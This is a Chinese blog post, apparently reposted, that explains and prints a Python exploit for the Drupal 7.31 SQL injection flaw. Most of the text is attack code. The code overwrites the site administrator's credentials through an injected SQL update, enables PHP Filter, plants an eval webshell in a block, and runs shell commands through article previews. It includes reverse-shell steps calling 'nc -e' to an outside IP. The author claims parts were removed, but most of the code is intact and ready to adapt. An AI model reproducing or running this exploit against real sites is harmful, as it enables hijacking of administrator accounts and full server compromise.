Drupal 7.31 SQL注入漏洞利用详解及EXP

暗月博客 2019年11月21日20:52:02评论366 views字数 7460阅读24分52秒阅读模式
摘要

有意迟几天放出来这篇文章以及程序,不过看样子Drupal的这个洞没有引起多少重视,所以我也没有必要按着不发了,不过说实话这个洞威力挺大的,当然,这也是Drupal本身没有意料到的。

有意迟几天放出来这篇文章以及程序,不过看样子Drupal的这个洞没有引起多少重视,所以我也没有必要按着不发了,不过说实话这个洞威力挺大的,当然,这也是Drupal本身没有意料到的。

0x00

首先,这个漏洞真的很大,而且Drupal用的也比较多,应该可以扫出很多漏洞主机,但是做批量可能会对对方网站造成很大的损失,所以我也就只是写个Exp。不过,这个洞好像不怎么被重视,这也是极为不合适。

 

0x01

关于漏洞的原理和POC在我的博客上已经有文章进行解释,这里只是着重说一下利用过程。配合POC的效果,我主要是从远程代码执行和GetShell方面去做的利用。

远程代码执行利用:

1.使用超级管理员进行登录

2.开启站点PHP Filter功能

3.新建aticle,选择PHP_CODE模式(编辑php代码)并预览

4.预览页面载入后就会执行代码

 

对应EXPDrupalSQLin类的codeExecution函数,这个函数所做的事情就是把上述过程自动化。我编写这个部分比较费劲的是,requests发送attachment遇到了问题,最后实在没办法就自己对Post数据包进行拼接,拼接结构如下:

Drupal 7.31 SQL注入漏洞利用详解及EXP

在调试程序时,使用burpsuite进行辅助很有效果,通过burpsuite你可以清楚看到每一次交互的数据包格式与字段内容。

GetShell利用:

1.使用超级管理员进行登录

2.开启网站的PHP Filter功能

3.新建block,编辑PHP代码

4.使用PHP_CODE进行保存

Post请求构造如下:

Drupal 7.31 SQL注入漏洞利用详解及EXP

使用python进行发包,有个缺点就是不直观,我们无法获知我们的数据包构造是否正确,这时候可以使用requests模块的proxies参数,将代理设置为burpsuite,然后就可以分析调试了。不过,使用新建block的方法获取shell可能权限比较小。


在构造请求包的时候,有两个字段是form_build_idform_token,他们是Drupal自带的防止CSRF所使用的token(类似于Django中的csrf防护)。发包之前必须找到这两个东西,使用小型爬虫即可。

Drupal 7.31 SQL注入漏洞利用详解及EXP

还有一个关键点就是模拟登陆后要保存cookie,因为后续的攻击利用都要携带admincookie,否则会执行出错。


0x02

命令执行效果:本地监听端口获取反弹shell

测试环境:本地测试

程序执行:如下图

Drupal 7.31 SQL注入漏洞利用详解及EXP

接收反弹shell的过程中主线程会阻塞。

反弹shell效果;

Drupal 7.31 SQL注入漏洞利用详解及EXP

0x03

这个漏洞威力大,带给对方主机的危害也大,而且涉及到用户覆盖以及改变网站原有设置的问题,所以我这里就不准备将代码完整分享出来。

如果想要隐蔽地利用,那么需要做很多辅助工作,比如在开启php filter的过程中,涉及到小型爬虫抓取网站原有的配置信息。还有就是管理员的获取方式进行改进。

接下来就是放出部分代码:

模拟登录函数

Drupal 7.31 SQL注入漏洞利用详解及EXP

开启PHP Filter

Drupal 7.31 SQL注入漏洞利用详解及EXP

代码执行:

Drupal 7.31 SQL注入漏洞利用详解及EXP

0x04

这种Web类型的EXP编写需要很多细节,在调试的途中我甚至动用了burpsuite。并且这个过程也让我恶心得很。

另外,程序也仅供安全研究与学习交流使用,请读者不要用于非法用途。

0x05

分享一下程序,其中一些重要的部分被我删去一些,程序现在是无法运行的,还是只提供学习交流使用:

#coding=utf-8 import requests import re import sys import socket import urllib import urllib2 import cookielib import mimetypes import mimetools class DrupalSQLin():   '''获取超级管理员账户密码(覆盖)'''  def getAdmin(self,url):   try:    #admin is owned, pass is thanks    data = {     "name[0 ;update users set name='admin',pass='$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld' where uid=1;# ]":'admin',     "name[0]":"111111",     "pass":"shit2",     "test2":"test",     "form_build_id":"",     "form_id":"user_login_block",     "op":"Log+in"    }    r = requests.post(url,timeout=10,data=data)    page = r.content    if page.count("mb_strlen() expects parameter 1 to be string") != 0:     print "[+] Get Admin Success:admin/thanks"   except Exception, e:    print "Exception exists:%s" % e    return None   '''使用超级管理员登录'''  def login(self,url):   #get token   pattern = re.compile(r'name="form_build_id" value="(.+)"')   r = requests.get(url)   form_build_id = pattern.findall(r.content)[0]   login_data = {    'name':'admin',    'pass':'thanks',    'form_build_id':form_build_id, #csrf token    'form_id':'user_login_block',    'op':'Log+in'   }    r = requests.post(url,data=login_data)   page = r.content   if page.count("Log out") != 0:    print '[+] Admin Log in Success!'        #获取cookies    cj = cookielib.LWPCookieJar()    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))    login_path = 'http://127.0.0.1/drupal-7.31/'    pattern = re.compile(r'name="form_build_id" value="(.+)"')    r = requests.get(login_path)    form_build_id = pattern.findall(r.content)[0]    data = {       'name':'admin',       'pass':'thanks',       'form_build_id':form_build_id, #csrf token       'form_id':'user_login_block',       'op':'Log+in'      }    post_data = urllib.urlencode(data)    request = urllib2.Request(login_path,post_data)    html = opener.open(request).read()    if cj:     cj.save('cookiefile.txt')    else:     print 'Get Cookies Error, Exploit Failed!'     sys.exit()    f = open('cookiefile.txt','r')    cookiesfile = f.read()    pattern = re.compile(r'Set-Cookie3: (.+?)=(.+?);')    ret = pattern.findall(cookiesfile)    cookies = {ret[0][0]:str(ret[0][1]).replace('"','')}    return cookies   else:    return None   '''开启PHP Filter'''  def openPhpFilter(self,url):   cookies = self.login(url)   url = "%s%s" % (url,"?q=admin/modules/list/confirm")   pattern_id = re.compile(r'name="form_build_id" value="(.+)"')   pattern_token = re.compile(r'name="form_token" value="(.+)"')   r = requests.get(url,cookies=cookies)   form_build_id = pattern_id.findall(r.content)[0] #csrf token   form_token = pattern_token.findall(r.content)[0]   post_data = {    'modules[Core][php][enable]':'1',    'modules[Core][color][enable]':'1',    'modules[Core][comment][enable]':'1',    'modules[Core][contextual][enable]':'1',    'modules[Core][dashboard][enable]':'1',    'modules[Core][dblog][enable]':'1',    'modules[Core][field_ui][enable]':'1',    'modules[Core][help][enable]':'1',    'modules[Core][list][enable]':'1',    'modules[Core][menu][enable]':'1',    'modules[Core][number][enable]':'1',    'modules[Core][overlay][enable]':'1',    'modules[Core][path][enable]':'1',    'modules[Core][rdf][enable]':'1',    'modules[Core][search][enable]':'1',    'modules[Core][shortcut][enable]':'1',    'modules[Core][toolbar][enable]':'1',    'form_build_id':form_build_id,    'form_token':form_token,    'form_id':'system_modules',    'op':'Save+configuration'   }   try:    r = requests.post(url,data=post_data,cookies=cookies)    print '[+] Open PHP Filter Success!'   except Exception, e:    print "[+] Exception:%s Exploit Failed!" % e    sys.exit()     '''获取webshell:?q=admin/structure/block/add'''  def getShell(self,url,content="<?php @eval($_POST['cmd']);?>"):   print "[+] Get Shell Module/nNotice: You can use this part get a shell."   cookies = self.login(url)   url = "%s%s" % (url,"?q=admin/structure/block/add&render=overlay")   pattern_id = re.compile(r'name="form_build_id" value="(.+)"')   pattern_token = re.compile(r'name="form_token" value="(.+)"')   r = requests.get(url,cookies=cookies)   form_build_id = pattern_id.findall(r.content)[0] #csrf token   form_token = pattern_token.findall(r.content)[0]   post_data = {    'title':'',    'info':'shit2',    'body[value]':content,    'body[format]':'php_code',    'regions[bartik]':'-1',    'regions[seven]':'-1',    'visibility':'0',    'pages':'',    'custom':'0',    'visibility__active_tab':'edit-path',    'form_build_id':form_build_id,    'form_token':form_token,    'form_id':'block_add_block_form',    'op':'Save+block'   }   rp = requests.post(url,data=post_data)   page_content = rp.content   if page_content.count("created") != 0:    print 'Get Shell Success:%s/?q=admin/structure/block&render=overlay' % url    return "%s/?q=admin/structure/block" % url   else:    print 'Get Shell Failed!'     '''远程代码执行:?q=node/add/article'''  def codeExecution(self,url,code):   print ''' [+]Code Execution Module Please make sure that keep nc listener opening when you want to get a reverse shell. 1.First, you need to exe nc -vv -l -p <port> 2.Then, you can run this script with command 'nc <ip> <port> -e /bin/bash' Tips: If you want a echo, add reg by youself.   '''   cookies = self.login(url)   url = "%s%s" % (url,"?q=node/add/article")   r = requests.get(url,cookies=cookies)   pattern_id = re.compile(r'name="form_build_id" value="(.+)"')   pattern_token = re.compile(r'name="form_token" value="(.+)"')   form_build_id = pattern_id.findall(r.content)[0] #csrf token   #拼接attachment   BOUND = mimetools.choose_boundary()   content_type = "multipart/form-data; boundary=%s" % BOUND   CRLF = "/r/n"   fields = {    'title':'chongrui',    'field_tags[und]':CRLF,    'body[und][0][summary]':CRLF,    'body[und][0][value]':'<?php echo shell_exec("%s");?>' % code,    'body[und][0][format]':'php_code',    'field_image[und][0][fid]':'0',    'field_image[und][0][display]':'1',    'changed':CRLF,    'form_build_id':form_build_id,    'form_token':form_token,    'form_id':'article_node_form',    'log':CRLF,    'name':'admin',    'date':CRLF,    'status':'1',    'promote':'1',    'additional_settings__active_tab':'edit-revision-information',    'op':'Preview'   }     L= []   for k,v in fields.items():    L.append('--'+BOUND)    L.append('/n')    L.append('Content-Disposition: form-data; name="%s"%s' % (k,"/n"))    if v != CRLF:     L.append(CRLF)    L.append(v)    L.append('/n')       L.append('%s--' % BOUND)   L.append(CRLF)    body = ''   for x in L:    body+=x   headers = {    'Content-type':content_type   }   r = requests.post(url,data=body,cookies=cookies,headers=headers)   cmd_echo = r.content   if cmd_echo.count("Preview trimmed version") == 0:    print 'Execution Error!'    else:    print 'Execution Success!'   if __name__ == '__main__':  url = "http://127.0.0.1/drupal-7.31/"  code = ""   print "Target host:%s" % url  print 'Powered by :Exploit <from 91ri Team>/nQQ:739858341'  exp = DrupalSQLin()  #获取admin权限  exp.getAdmin(url)  #开启php filter  exp.openPhpFilter("http://127.0.0.1/drupal-7.31/")  #getshell exp.getShell(url)  #代码执行  exp.codeExecution(url,'c:////nc.exe 10.10.10.132 10002 -e c:////cmd.exe')  

link:http://blog.csdn.net/u011721501/article/details/40347679

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
暗月博客
  • 本文由 发表于 2019年11月21日20:52:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Drupal 7.31 SQL注入漏洞利用详解及EXPhttp://cn-sec.com/archives/71934.html

发表评论

匿名网友 填写信息